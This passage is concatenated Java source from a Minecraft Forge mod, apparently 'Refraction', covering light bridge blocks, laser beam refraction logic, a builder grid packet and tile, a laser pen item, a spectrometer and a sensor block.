net.minecraft.block.SoundType; import net.minecraft.block.material.Material; import net.minecraft.block.properties.PropertyBool; import net.minecraft.block.properties.PropertyEnum; import net.minecraft.block.state.BlockStateContainer; import net.minecraft.block.state.IBlockState; import net.minecraft.entity.Entity; import net.minecraft.init.Blocks; import net.minecraft.item.ItemBlock; import net.minecraft.tileentity.TileEntity; import net.minecraft.util.BlockRenderLayer; import net.minecraft.util.EnumFacing; import net.minecraft.util.math.AxisAlignedBB; import net.minecraft.util.math.BlockPos; import net.minecraft.util.math.Vec3d; import net.minecraft.world.IBlockAccess; import net.minecraft.world.World; import net.minecraftforge.fml.common.network.NetworkRegistry; import net.minecraftforge.fml.relauncher.Side; import net.minecraftforge.fml.relauncher.SideOnly; import javax.annotation.Nonnull; import javax.annotation.Nullable; import java.awt.*; import java.util.List; public abstract class BlockLightBridgeBase extends BlockMod implements ILightSink, ISoundEmitter, ILaserTrace { public static final PropertyEnum<EnumFacing.Axis> FACING = PropertyEnum.create("axis", EnumFacing.Axis.class); public static final PropertyBool UP = PropertyBool.create("up"); public static final PropertyBool DOWN = PropertyBool.create("down"); public static final PropertyBool LEFT = PropertyBool.create("left"); public static final PropertyBool RIGHT = PropertyBool.create("right"); private static final EnumFacing[][] SPINS = new EnumFacing[][]{{EnumFacing.UP, EnumFacing.DOWN, EnumFacing.NORTH, EnumFacing.SOUTH}, {EnumFacing.NORTH, EnumFacing.SOUTH, EnumFacing.EAST, EnumFacing.WEST}, {EnumFacing.UP, EnumFacing.DOWN, EnumFacing.EAST, EnumFacing.WEST}}; private static final AxisAlignedBB AABB_X = new AxisAlignedBB(0, 7.5 / 16, 7.5 / 16, 1, 8.5 / 16, 8.5 / 16); private static final AxisAlignedBB AABB_Y = new AxisAlignedBB(7.5 / 16, 0, 7.5 / 16, 8.5 / 16, 1, 8.5 / 16); private static final AxisAlignedBB AABB_Z = new AxisAlignedBB(7.5 / 16, 7.5 / 16, 0, 8.5 / 16, 8.5 / 16, 1); private static final AxisAlignedBB AABB_X_UP = new AxisAlignedBB(0, 8.5 / 16, 7.5 / 16, 1, 1, 8.5 / 16); private static final AxisAlignedBB AABB_X_DOWN = new AxisAlignedBB(0, 0, 7.5 / 16, 1, 7.5 / 16, 8.5 / 16); private static final AxisAlignedBB AABB_X_LEFT = new AxisAlignedBB(0, 7.5 / 16, 0, 1, 8.5 / 16, 7.5 / 16); private static final AxisAlignedBB AABB_X_RIGHT = new AxisAlignedBB(0, 7.5 / 16, 8.5 / 16, 1, 8.5 / 16, 1); private static final AxisAlignedBB AABB_Y_UP = new AxisAlignedBB(7.5 / 16, 0, 0, 8.5 / 16, 1, 7.5 / 16); private static final AxisAlignedBB AABB_Y_DOWN = new AxisAlignedBB(7.5 / 16, 0, 8.5 / 16, 8.5 / 16, 1, 1); private static final AxisAlignedBB AABB_Y_LEFT = new AxisAlignedBB(8.5 / 16, 0, 7.5 / 16, 1, 1, 8.5 / 16); private static final AxisAlignedBB AABB_Y_RIGHT = new AxisAlignedBB(0, 0, 7.5 / 16, 7.5 / 16, 1, 8.5 / 16); private static final AxisAlignedBB AABB_Z_UP = new AxisAlignedBB(7.5 / 16, 8.5 / 16, 0, 8.5 / 16, 1, 1); private static final AxisAlignedBB AABB_Z_DOWN = new AxisAlignedBB(7.5 / 16, 0, 0, 8.5 / 16, 7.5 / 16, 1); private static final AxisAlignedBB AABB_Z_LEFT = new AxisAlignedBB(8.5 / 16, 7.5 / 16, 0, 1, 8.5 / 16, 1); private static final AxisAlignedBB AABB_Z_RIGHT = new AxisAlignedBB(0, 7.5 / 16, 0, 7.5 / 16, 8.5 / 16, 1); public BlockLightBridgeBase( String name, Material material) { super(name, material); setBlockUnbreakable(); setResistance(6000000F); setSoundType(SoundType.GLASS); setDefaultState(getDefaultState().withProperty(FACING, EnumFacing.Axis.Y).withProperty(UP, false).withProperty(DOWN, false).withProperty(LEFT, false).withProperty(RIGHT, false)); } @SuppressWarnings("deprecation") @Override public @Nonnull IBlockState getActualState(@Nonnull IBlockState state, IBlockAccess worldIn, BlockPos pos) { EnumFacing.Axis axis = state.getValue(FACING); EnumFacing[] facings = SPINS[axis.ordinal()]; IBlockState upState = worldIn.getBlockState(pos.offset(facings[0])); boolean up = upState.getBlock() == this && upState.getValue(FACING) == axis; IBlockState downState = worldIn.getBlockState(pos.offset(facings[1])); boolean down = downState.getBlock() == this && downState.getValue(FACING) == axis; IBlockState leftState = worldIn.getBlockState(pos.offset(facings[2])); boolean left = leftState.getBlock() == this && leftState.getValue(FACING) == axis; IBlockState rightState = worldIn.getBlockState(pos.offset(facings[3])); boolean right = rightState.getBlock() == this && rightState.getValue(FACING) == axis; return state.withProperty(UP, up && (!down || left || right)).withProperty(DOWN, down && (!up || left || right)).withProperty(LEFT, left && (up || down || !right)).withProperty(RIGHT, right && (up || down || !left)); } @Nullable @Override public ItemBlock createItemForm() { return null; } @Override @SuppressWarnings("deprecation") public void addCollisionBoxToList(IBlockState state, @Nonnull World worldIn, @Nonnull BlockPos pos, @Nonnull AxisAlignedBB entityBox, @Nonnull List<AxisAlignedBB> collidingBoxes, @Nullable Entity entityIn, boolean p_185477_7_) { EnumFacing.Axis enumfacing = state.getValue(FACING); EnumFacing[] facings = SPINS[enumfacing.ordinal()]; IBlockState upState = worldIn.getBlockState(pos.offset(facings[0])); boolean up = upState.getBlock() == this && upState.getValue(FACING) == enumfacing; IBlockState downState = worldIn.getBlockState(pos.offset(facings[1])); boolean down = downState.getBlock() == this && downState.getValue(FACING) == enumfacing; IBlockState leftState = worldIn.getBlockState(pos.offset(facings[2])); boolean left = leftState.getBlock() == this && leftState.getValue(FACING) == enumfacing; IBlockState rightState = worldIn.getBlockState(pos.offset(facings[3])); boolean right = rightState.getBlock() == this && rightState.getValue(FACING) == enumfacing; switch (enumfacing) { case X: addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_X); if (up) addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_X_UP); if (down) addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_X_DOWN); if (left) addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_X_LEFT); if (right) addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_X_RIGHT); break; case Y: addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_Y); if (up) addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_Y_UP); if (down) addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_Y_DOWN); if (left) addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_Y_LEFT); if (right) addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_Y_RIGHT); break; case Z: addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_Z); if (up) addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_Z_UP); if (down) addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_Z_DOWN); if (left) addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_Z_LEFT); if (right) addCollisionBoxToList(pos, entityBox, collidingBoxes, AABB_Z_RIGHT); break; } } @Override @SuppressWarnings("deprecation") public @Nonnull AxisAlignedBB getBoundingBox(IBlockState state, IBlockAccess source, BlockPos pos) { EnumFacing.Axis enumfacing = state.getValue(FACING); EnumFacing[] facings = SPINS[enumfacing.ordinal()]; IBlockState upState = source.getBlockState(pos.offset(facings[0])); boolean up = upState.getBlock() == this && upState.getValue(FACING) == enumfacing; IBlockState downState = source.getBlockState(pos.offset(facings[1])); boolean down = downState.getBlock() == this && downState.getValue(FACING) == enumfacing; IBlockState leftState = source.getBlockState(pos.offset(facings[2])); boolean left = leftState.getBlock() == this && leftState.getValue(FACING) == enumfacing; IBlockState rightState = source.getBlockState(pos.offset(facings[3])); boolean right = rightState.getBlock() == this && rightState.getValue(FACING) == enumfacing; AxisAlignedBB box; switch (enumfacing) { case X: box = AABB_X; if (up) box = box.union(AABB_X_UP); if (down) box = box.union(AABB_X_DOWN); if (left) box = box.union(AABB_X_LEFT); if (right) box = box.union(AABB_X_RIGHT); break; case Y: box = AABB_Y; if (up) box = box.union(AABB_Y_UP); if (down) box = box.union(AABB_Y_DOWN); if (left) box = box.union(AABB_Y_LEFT); if (right) box = box.union(AABB_Y_RIGHT); break; case Z: box = AABB_Z; if (up) box = box.union(AABB_Z_UP); if (down) box = box.union(AABB_Z_DOWN); if (left) box = box.union(AABB_Z_LEFT); if (right) box = box.union(AABB_Z_RIGHT); break; default: box = NULL_AABB; } return box; } @SuppressWarnings("deprecation") @Override public @Nonnull IBlockState getStateFromMeta(int meta) { meta = meta % 3; return getDefaultState().withProperty(FACING, EnumFacing.Axis.values()[meta]); } @Override public int getMetaFromState(IBlockState state) { return state.getValue(FACING).ordinal(); } @Override protected @Nonnull BlockStateContainer createBlockState() { return new BlockStateContainer(this, FACING, UP, DOWN, LEFT, RIGHT); } @Override @SideOnly(Side.CLIENT) public BlockRenderLayer getRenderLayer() { return BlockRenderLayer.TRANSLUCENT; } @Override @SuppressWarnings("deprecation") public boolean isFullCube(IBlockState state) { return false; } @Override @SuppressWarnings("deprecation") public boolean isOpaqueCube(IBlockState blockState) { return false; } @Override public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state) { SoundManager.INSTANCE.addSpeakerNode(worldIn, pos, this); } protected abstract boolean checkEffect(Effect effect); protected abstract BlockLightBridgeBase getBridgeBlock(); @Override public boolean handleBeam(@Nonnull World world, @Nonnull BlockPos pos, @Nonnull Beam beam) { EnumFacing.Axis block = world.getBlockState(pos).getValue(FACING); EnumFacing positive = EnumFacing.getFacingFromAxis(EnumFacing.AxisDirection.POSITIVE, block); EnumFacing negative = EnumFacing.getFacingFromAxis(EnumFacing.AxisDirection.NEGATIVE, block); Vec3d slope = beam.slope.normalize(); if (slope.dotProduct(new Vec3d(positive.getDirectionVec())) > 0.999 || slope.dotProduct(new Vec3d(negative.getDirectionVec())) > 0.999) { EnumFacing facing = PosUtils.getFacing(beam.initLoc, beam.finalLoc); if (facing == null) return false; for (int i = 1; i < ConfigValues.BEAM_RANGE; i++) { BlockPos backwards = pos.offset(facing, i); if (world.getBlockState(backwards).getBlock() == ModBlocks.ELECTRON_EXCITER && checkEffect(beam.effect)) { IBlockState baseExciterState = world.getBlockState(backwards); EnumFacing baseExciterFacing = baseExciterState.getValue(BlockElectronExciter.FACING); TileElectronExciter exciter = (TileElectronExciter) world.getTileEntity(backwards); if (exciter != null) { // Check for adjacent exciters if (isNeighborValid(world, pos, backwards, baseExciterFacing)) { exciter.expire = Constants.SOURCE_TIMER; if (world.isAirBlock(pos.offset(baseExciterFacing))) world.setBlockState(pos.offset(baseExciterFacing), getBridgeBlock().getDefaultState().withProperty(BlockDarkBridge.FACING, baseExciterFacing.getAxis()), 3); return true; } else world.setBlockToAir(pos); } else world.setBlockToAir(pos); } else if (world.getBlockState(backwards).getBlock() == Blocks.AIR) { world.setBlockToAir(pos); } } } else fireColor(world, pos, beam.finalLoc, beam.finalLoc.subtract(beam.initLoc).normalize(), ConfigValues.AIR_IOR, beam); return false; } private boolean isNeighborValid(@Nonnull World world, @Nonnull BlockPos origin, @Nonnull BlockPos backwards, EnumFacing baseExciterFacing) { boolean hasValidNeighbor = false; for (EnumFacing facing : EnumFacing.VALUES) { if (facing != baseExciterFacing || facing != baseExciterFacing.getOpposite()) { TileEntity neighbor = world.getTileEntity(backwards.offset(facing)); if (neighbor instanceof TileElectronExciter && ((TileElectronExciter)neighbor).hasCardinalBeam) { //Fiber Cables shouldnt build into LightBridges if (!(world.getBlockState(origin.offset(facing)).getBlock() instanceof BlockOpticFiber )) hasValidNeighbor = true; break; } } } return hasValidNeighbor; } private void fireColor(World world, BlockPos pos, Vec3d hitPos, Vec3d ref, double IORMod, Beam beam) { IBlockState state = world.getBlockState(pos); BlockPrism.RayTraceResultData<Vec3d> r = collisionRayTraceLaser(state, world, pos, hitPos.subtract(ref), hitPos.add(ref)); assert r != null; Vec3d normal = r.data; ref = refracted(ConfigValues.AIR_IOR + IORMod, ConfigValues.AIR_IOR + IORMod, ref, normal).normalize(); hitPos = r.hitVec; for (int i = 0; i < 5; i++) { r = collisionRayTraceLaser(state, world, pos, hitPos.add(ref), hitPos); // trace backward so we don't hit hitPos first assert r != null; normal = r.data.scale(-1); Vec3d oldRef = ref; ref = refracted(ConfigValues.AIR_IOR + IORMod, ConfigValues.AIR_IOR + IORMod, ref, normal).normalize(); if (Double.isNaN(ref.x) || Double.isNaN(ref.y) || Double.isNaN(ref.z)) { ref = oldRef; // it'll bounce back on itself and cause a NaN vector, that means we should stop break; } showBeam(world, hitPos, r.hitVec, beam.getColor()); hitPos = r.hitVec; } beam.createSimilarBeam(hitPos, ref).spawn(); } @Override public void breakBlock(@Nonnull World worldIn, @Nonnull BlockPos pos, @Nonnull IBlockState state) { super.breakBlock(worldIn, pos, state); } private Vec3d refracted(double from, double to, Vec3d vec, Vec3d normal) { double r = from / to, c = -normal.dotProduct(vec); return vec.scale(r).add(normal.scale((r * c) - Math.sqrt(1 - (r * r) * (1 - (c * c))))); } private void showBeam(World world, Vec3d start, Vec3d end, Color color) { if (!world.isRemote) PacketHandler.NETWORK.sendToAllAround(new PacketLaserFX(start, end, color), new NetworkRegistry.TargetPoint(world.provider.getDimension(), start.x, start.y, start.z, 256)); } @Override public BlockPrism.RayTraceResultData<Vec3d> collisionRayTraceLaser(@Nonnull IBlockState blockState, @Nonnull World worldIn, @Nonnull BlockPos pos, @Nonnull Vec3d startRaw, @Nonnull Vec3d endRaw) { EnumFacing facing = EnumFacing.UP; Matrix4 matrixA = new Matrix4(); Matrix4 matrixB = new Matrix4(); switch (facing) { case UP: case DOWN: case EAST: break; case NORTH: matrixA.rotate(Math.toRadians(270), new Vec3d(0, -1, 0)); matrixB.rotate(Math.toRadians(270), new Vec3d(0, 1, 0)); break; case SOUTH: matrixA.rotate(Math.toRadians(90), new Vec3d(0, -1, 0)); matrixB.rotate(Math.toRadians(90), new Vec3d(0, 1, 0)); break; case WEST: matrixA.rotate(Math.toRadians(180), new Vec3d(0, -1, 0)); matrixB.rotate(Math.toRadians(180), new Vec3d(0, 1, 0)); break; } Vec3d a = new Vec3d(0.001, 0.001, 0), // This needs to be offset b = new Vec3d(1, 0.001, 0.5), c = new Vec3d(0.001, 0.001, 1), // and this too. Just so that blue refracts in ALL cases A = a.add(0, 0.998, 0), B = b.add(0, 0.998, 0), // these y offsets are to fix translocation issues C = c.add(0, 0.998, 0); Tri[] tris = new Tri[]{ new Tri(a, b, c), new Tri(A, C, B), new Tri(a, c, C), new Tri(a, C, A), new Tri(a, A, B), new Tri(a, B, b), new Tri(b, B, C), new Tri(b, C, c), }; Vec3d start = matrixA.apply(startRaw.subtract(new Vec3d(pos)).subtract(0.5, 0.5, 0.5)).add(0.5, 0.5, 0.5); Vec3d end = matrixA.apply(endRaw.subtract(new Vec3d(pos)).subtract(0.5, 0.5, 0.5)).add(0.5, 0.5, 0.5); Tri hitTri = null; Vec3d hit = null; double shortestSq = Double.POSITIVE_INFINITY; for (Tri tri : tris) { Vec3d v = tri.trace(start, end); if (v != null) { double distSq = start.subtract(v).lengthSquared(); if (distSq < shortestSq) { hit = v; shortestSq = distSq; hitTri = tri; } } } if (hit == null) return null; return new BlockPrism.RayTraceResultData<Vec3d>(matrixB.apply(hit.subtract(0.5, 0.5, 0.5)).add(0.5, 0.5, 0.5).add(new Vec3d(pos)), EnumFacing.UP, pos).data(matrixB.apply(hitTri.normal())); } } <file_sep>package com.teamwizardry.refraction.common.network; import com.teamwizardry.librarianlib.features.network.PacketBase; import com.teamwizardry.librarianlib.features.saving.Save; import com.teamwizardry.librarianlib.features.saving.SaveMethodGetter; import com.teamwizardry.librarianlib.features.saving.SaveMethodSetter; import com.teamwizardry.refraction.client.gui.builder.GuiBuilder; import com.teamwizardry.refraction.common.tile.TileBuilder; import net.minecraft.nbt.NBTTagCompound; import net.minecraft.nbt.NBTTagList; import net.minecraft.util.math.BlockPos; import net.minecraft.world.World; import net.minecraftforge.common.util.Constants; import net.minecraftforge.fml.common.network.simpleimpl.MessageContext; /** * Created by Demoniaque. */ public class PacketBuilderGridSaver extends PacketBase { @Save public BlockPos pos; public GuiBuilder.TileType[][][] grid; public PacketBuilderGridSaver() { } public PacketBuilderGridSaver(BlockPos pos, GuiBuilder.TileType[][][] grid) { this.pos = pos; this.grid = grid; } @SaveMethodGetter(saveName = "grid_saver") public NBTTagCompound getter() { NBTTagCompound nbt = new NBTTagCompound(); NBTTagList list = new NBTTagList(); if (grid != null) { for (int i = 0; i < grid.length; i++) for (int j = 0; j < grid.length; j++) for (int k = 0; k < grid.length; k++) { GuiBuilder.TileType box = grid[i][j][k]; if (box == GuiBuilder.TileType.EMPTY) continue; NBTTagCompound compound = new NBTTagCompound(); compound.setString("type", box.toString()); compound.setInteger("layer", i); compound.setInteger("x", j); compound.setInteger("y", k); list.appendTag(compound); } } nbt.setTag("list", list); return nbt; } @SaveMethodSetter(saveName = "grid_saver") public void setter(NBTTagCompound nbt) { if (grid == null) grid = new GuiBuilder.TileType[16][16][16]; NBTTagList list = nbt.getTagList("list", Constants.NBT.TAG_COMPOUND); for (int q = 0; q < list.tagCount(); q++) { NBTTagCompound compound = list.getCompoundTagAt(q); GuiBuilder.TileType type = GuiBuilder.TileType.valueOf(compound.getString("type")); int layer = compound.getInteger("layer"); int x = compound.getInteger("x"); int y = compound.getInteger("y"); grid[layer][x][y] = type; } } @Override public void handle(MessageContext messageContext) { World world = messageContext.getServerHandler().player.world; TileBuilder builder = (TileBuilder) world.getTileEntity(pos); if (builder == null) return; builder.grid = grid; builder.markDirty(); } } <file_sep>package com.teamwizardry.refraction.common.block; import com.teamwizardry.librarianlib.features.base.block.BlockMod; import net.minecraft.block.material.Material; import net.minecraft.block.state.IBlockState; import net.minecraft.item.ItemBlock; import net.minecraft.util.EnumBlockRenderType; import net.minecraft.util.math.BlockPos; import net.minecraft.world.IBlockAccess; import javax.annotation.Nonnull; import javax.annotation.Nullable; /** * Created by Demoniaque. */ public class BlockInvisible extends BlockMod { public BlockInvisible() { super("invisible_block", Material.IRON); } @Override public boolean isCollidable() { return false; } @Nullable @Override public ItemBlock createItemForm() { return null; } @Override public int getLightOpacity(IBlockState state, IBlockAccess world, BlockPos pos) { return 0; } @Override @Deprecated public @Nonnull EnumBlockRenderType getRenderType(IBlockState state) { return EnumBlockRenderType.INVISIBLE; } @Override @Deprecated public boolean isFullBlock(IBlockState state) { return false; } @Override @Deprecated public boolean isOpaqueCube(IBlockState state) { return false; } } <file_sep>package com.teamwizardry.refraction.init; import com.teamwizardry.librarianlib.features.gui.provided.book.helper.PageTypes; import com.teamwizardry.refraction.api.book.PageTextModular; import com.teamwizardry.refraction.client.gui.tablet.*; public class ModGuiPages { public static void init() { PageTypes.INSTANCE.registerPageProvider( "picture", PagePicture::new); PageTypes.INSTANCE.registerPageProvider( "textmodular", PageTextModular::new); PageTextModular.registerParser(new TextModularPlayerParser()); PageTextModular.registerParser(new TextModularConfigParser()); } } <file_sep>package com.teamwizardry.refraction.common.item; import com.teamwizardry.librarianlib.features.base.item.ItemMod; import com.teamwizardry.refraction.api.beam.Beam; import com.teamwizardry.refraction.common.effect.EffectAesthetic; import com.teamwizardry.refraction.common.entity.EntityLaserPointer; import net.minecraft.entity.EntityLivingBase; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.item.EnumAction; import net.minecraft.item.ItemStack; import net.minecraft.util.ActionResult; import net.minecraft.util.EnumActionResult; import net.minecraft.util.EnumHand; import net.minecraft.util.EnumHandSide; import net.minecraft.util.math.Vec3d; import net.minecraft.world.World; import javax.annotation.Nonnull; import java.awt.*; /** * Created by Demoniaque */ public class ItemLaserPen extends ItemMod { public static final double RANGE = 32; public ItemLaserPen() { super("laser_pen"); setMaxStackSize(1); } @Override public EnumAction getItemUseAction(ItemStack stack) { return EnumAction.BOW; } @Override public int getMaxItemUseDuration(ItemStack stack) { return 1000; } @Nonnull @Override public ActionResult<ItemStack> onItemRightClick(World worldIn, EntityPlayer playerIn, @Nonnull EnumHand hand) { ItemStack itemStackIn = playerIn.getHeldItem(hand); playerIn.setActiveHand(hand); if (!worldIn.isRemote) { EntityLaserPointer e = new EntityLaserPointer(worldIn, playerIn, hand == EnumHand.MAIN_HAND ^ playerIn.getPrimaryHand() == EnumHandSide.LEFT); e.updateRayPos(); worldIn.spawnEntity(e); } return new ActionResult<>(EnumActionResult.SUCCESS, itemStackIn); } @Override public void onUsingTick(ItemStack stack, EntityLivingBase player, int count) { boolean handMod = player.getHeldItemMainhand() == stack ^ player.getPrimaryHand() == EnumHandSide.LEFT; Vec3d cross = player.getLook(1).crossProduct(new Vec3d(0, player.getEyeHeight(), 0)).normalize().scale(player.width / 2); if (!handMod) cross = cross.scale(-1); Vec3d playerVec = new Vec3d(player.posX + cross.x, player.posY + player.getEyeHeight() + cross.y, player.posZ + cross.z); new Beam(player.getEntityWorld(), playerVec, player.getLook(1), (new EffectAesthetic()).setColor(new Color(0x20FF0000, true))) .setEntitySkip(player) .spawn(); } } <file_sep>package com.teamwizardry.refraction.api.internal; import net.minecraftforge.fml.relauncher.Side; import net.minecraftforge.fml.relauncher.SideOnly; /** * @author WireSegal * Created at 10:17 PM on 12/20/16. */ @FunctionalInterface public interface ClientRunnable { @SideOnly(Side.CLIENT) void run(); } <file_sep>package com.teamwizardry.refraction.common.tile; import com.teamwizardry.librarianlib.features.autoregister.TileRegister; import com.teamwizardry.librarianlib.features.saving.SaveMethodGetter; import com.teamwizardry.librarianlib.features.saving.SaveMethodSetter; import com.teamwizardry.refraction.api.MultipleBeamTile; import com.teamwizardry.refraction.api.Utils; import com.teamwizardry.refraction.client.gui.builder.GuiBuilder; import com.teamwizardry.refraction.common.block.BlockBuilder; import net.minecraft.init.Blocks; import net.minecraft.nbt.NBTTagCompound; import net.minecraft.nbt.NBTTagList; import net.minecraft.util.math.BlockPos; import net.minecraftforge.common.util.Constants; import java.awt.*; /** * Created by Demoniaque. */ //@TileRegister("builder") unused public class TileBuilder extends MultipleBeamTile { public GuiBuilder.TileType[][][] grid; @SaveMethodGetter(saveName = "grid_saver") public NBTTagCompound getter() { NBTTagCompound nbt = new NBTTagCompound(); NBTTagList list = new NBTTagList(); if (grid != null) { for (int i = 0; i < grid.length; i++) for (int j = 0; j < grid.length; j++) for (int k = 0; k < grid.length; k++) { GuiBuilder.TileType box = grid[i][j][k]; if (box == GuiBuilder.TileType.EMPTY || box == null) continue; NBTTagCompound compound = new NBTTagCompound(); compound.setString("type", box.toString()); compound.setInteger("layer", i); compound.setInteger("x", j); compound.setInteger("y", k); list.appendTag(compound); } } nbt.setTag("list", list); return nbt; } @SaveMethodSetter(saveName = "grid_saver") public void setter(NBTTagCompound nbt) { if (grid == null) grid = new GuiBuilder.TileType[16][16][16]; NBTTagList list = nbt.getTagList("list", Constants.NBT.TAG_COMPOUND); for (int q = 0; q < list.tagCount(); q++) { NBTTagCompound compound = list.getCompoundTagAt(q); GuiBuilder.TileType type = GuiBuilder.TileType.valueOf(compound.getString("type")); int layer = compound.getInteger("layer"); int x = compound.getInteger("x"); int y = compound.getInteger("y"); grid[layer][x][y] = type; } } @Override public void update() { super.update(); if (world.isRemote) return; if (grid == null) return; if (outputBeam != null && Utils.doColorsMatchNoAlpha(outputBeam.getColor(), Color.GREEN)) { for (int i = 0; i < grid.length; i++) for (int j = 0; j < grid.length; j++) for (int k = 0; k < grid.length; k++) { GuiBuilder.TileType box = grid[j][i][k]; if (box != GuiBuilder.TileType.EMPTY && box != null) { BlockPos loc = pos.offset(world.getBlockState(pos).getValue(BlockBuilder.FACING).getOpposite(), grid.length); loc = loc.add(i, j, k); //if (world.isAirBlock(loc)) { world.setBlockState(loc, Blocks.QUARTZ_BLOCK.getDefaultState()); break; //} } } } } } <file_sep>package com.teamwizardry.refraction.common.core; import com.teamwizardry.librarianlib.features.helpers.ItemNBTHelper; import com.teamwizardry.refraction.api.IPrecision; import net.minecraft.block.Block; import net.minecraft.block.BlockDispenser; import net.minecraft.dispenser.BehaviorDefaultDispenseItem; import net.minecraft.dispenser.IBlockSource; import net.minecraft.item.ItemStack; import net.minecraft.util.EnumFacing; import net.minecraft.util.math.BlockPos; import net.minecraft.world.World; import javax.annotation.Nonnull; /** * Created by Saad on 10/7/2016. */ public class DispenserScrewDriverBehavior extends BehaviorDefaultDispenseItem { @Nonnull @Override protected ItemStack dispenseStack(IBlockSource source, ItemStack par2ItemStack) { World world = source.getWorld(); EnumFacing facing = world.getBlockState(source.getBlockPos()).getValue(BlockDispenser.FACING); BlockPos pos = source.getBlockPos().offset(facing); Block block = world.getBlockState(pos).getBlock(); if (block instanceof IPrecision) { boolean invert = ItemNBTHelper.getBoolean(par2ItemStack, "invertX", true); ((IPrecision) block).adjust(world, pos, par2ItemStack, invert, facing.getOpposite()); return par2ItemStack; } return super.dispenseStack(source, par2ItemStack); } } <file_sep>package com.teamwizardry.refraction.common.tile; import com.teamwizardry.librarianlib.features.autoregister.TileRegister; import com.teamwizardry.librarianlib.features.saving.Save; import com.teamwizardry.refraction.api.MultipleBeamTile; import com.teamwizardry.refraction.api.Utils; import java.awt.*; /** * Created by Saad on 9/11/2016. */ @TileRegister("spectrometer") public class TileSpectrometer extends MultipleBeamTile { @Save public Color currentColor = new Color(0, 0, 0, 0); @Save public int alpha = 0; @Override public void update() { super.update(); if (world.isRemote) return; if (outputBeam == null && !Utils.doColorsMatch(currentColor, new Color(0, 0, 0, 0))) { currentColor = Utils.mixColors(currentColor, new Color(0, 0, 0, 0), 0.9); alpha = currentColor.getAlpha(); markDirty(); return; } if (outputBeam != null && !Utils.doColorsMatch(currentColor, outputBeam.getColor())) { currentColor = Utils.mixColors(currentColor, outputBeam.getColor(), 0.9); alpha = currentColor.getAlpha(); markDirty(); } } } <file_sep>package com.teamwizardry.refraction.common.block; import com.teamwizardry.librarianlib.features.base.block.BlockMod; import com.teamwizardry.librarianlib.features.utilities.client.TooltipHelper; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.api.beam.Beam; import com.teamwizardry.refraction.api.beam.ILightSink; import com.teamwizardry.refraction.common.item.ItemScrewDriver; import net.minecraft.block.SoundType; import net.minecraft.block.material.Material; import net.minecraft.block.properties.IProperty; import net.minecraft.block.properties.PropertyBool; import net.minecraft.block.properties.PropertyEnum; import net.minecraft.block.state.BlockStateContainer; import net.minecraft.block.state.IBlockState; import net.minecraft.client.util.ITooltipFlag; import net.minecraft.entity.EntityLivingBase; import net.minecraft.item.ItemStack; import net.minecraft.util.EnumFacing; import net.minecraft.util.math.AxisAlignedBB; import net.minecraft.util.math.BlockPos; import net.minecraft.world.IBlockAccess; import net.minecraft.world.World; import javax.annotation.Nonnull; import javax.annotation.Nullable; import java.util.List; import java.util.Objects; import java.util.Random; /** * Created by Demoniaque */ public class BlockSensor extends BlockMod implements ILightSink { public static final PropertyEnum<EnumFacing> FACING = PropertyEnum.create("facing", EnumFacing.class); public static final PropertyBool ON = PropertyBool.create("on"); private static final AxisAlignedBB AABB_EAST = new AxisAlignedBB(0, 11.0 / 16.0, 11.0 / 16.0, 10.0 / 16.0, 5.0 / 16.0, 5.0 / 16.0); private static final AxisAlignedBB AABB_WEST = new AxisAlignedBB(6.0 / 16.0, 5.0 / 16.0, 5.0 / 16.0, 1, 11.0 / 16.0, 11.0 / 16.0); private static final AxisAlignedBB AABB_NORTH = new AxisAlignedBB(5.0 / 16.0, 5.0 / 16.0, 6.0 / 16.0, 11.0 / 16.0, 11.0 / 16.0, 1); private static final AxisAlignedBB AABB_SOUTH = new AxisAlignedBB(5.0 / 16.0, 5.0 / 16.0, 0, 11.0 / 16.0, 11.0 / 16.0, 11.0 / 16.0); private static final AxisAlignedBB AABB_UP = new AxisAlignedBB(5.0 / 16.0, 0, 5.0 / 16.0, 11.0 / 16.0, 10.0 / 16.0, 11.0 / 16.0); private static final AxisAlignedBB AABB_DOWN = new AxisAlignedBB(5.0 / 16.0, 6.0 / 16.0, 5.0 / 16.0, 11.0 / 16.0, 1, 11.0 / 16.0); public BlockSensor() { super("sensor", Material.GLASS); setHardness(1F); setSoundType(SoundType.GLASS); setDefaultState(getDefaultState().withProperty(ON, false)); } @Nonnull @Override @SuppressWarnings("deprecation") public AxisAlignedBB getBoundingBox(IBlockState state, IBlockAccess source, BlockPos pos) { EnumFacing enumfacing = state.getValue(FACING); switch (enumfacing) { case UP: return AABB_UP; case DOWN: return AABB_DOWN; case NORTH: return AABB_NORTH; case SOUTH: return AABB_SOUTH; case EAST: return AABB_EAST; case WEST: return AABB_WEST; default: return AABB_UP; } } @Override public void addInformation(ItemStack stack, @Nullable World worldIn, List<String> tooltip, ITooltipFlag flagIn) { TooltipHelper.addToTooltip(tooltip, "simple_name." + Constants.MOD_ID + ":" + getRegistryName().getPath()); } @Override public boolean canPlaceBlockAt(World worldIn, @Nonnull BlockPos pos) { return worldIn.getBlockState(pos.west()).isSideSolid(worldIn, pos.west(), EnumFacing.EAST) || worldIn.getBlockState(pos.east()).isSideSolid(worldIn, pos.east(), EnumFacing.WEST) || worldIn.getBlockState(pos.north()).isSideSolid(worldIn, pos.north(), EnumFacing.SOUTH) || worldIn.getBlockState(pos.up()).isSideSolid(worldIn, pos.up(), EnumFacing.UP) || worldIn.getBlockState(pos.down()).isSideSolid(worldIn, pos.down(), EnumFacing.DOWN) || worldIn.getBlockState(pos.south()).isSideSolid(worldIn, pos.south(), EnumFacing.NORTH); } @SuppressWarnings("deprecation") @Override public void onNeighborChange(IBlockAccess worldIn, BlockPos pos, BlockPos neighbor) { IBlockState state = worldIn.getBlockState(pos); EnumFacing enumfacing = state.getValue(FACING); if (!this.canBlockStay((World) worldIn, pos, 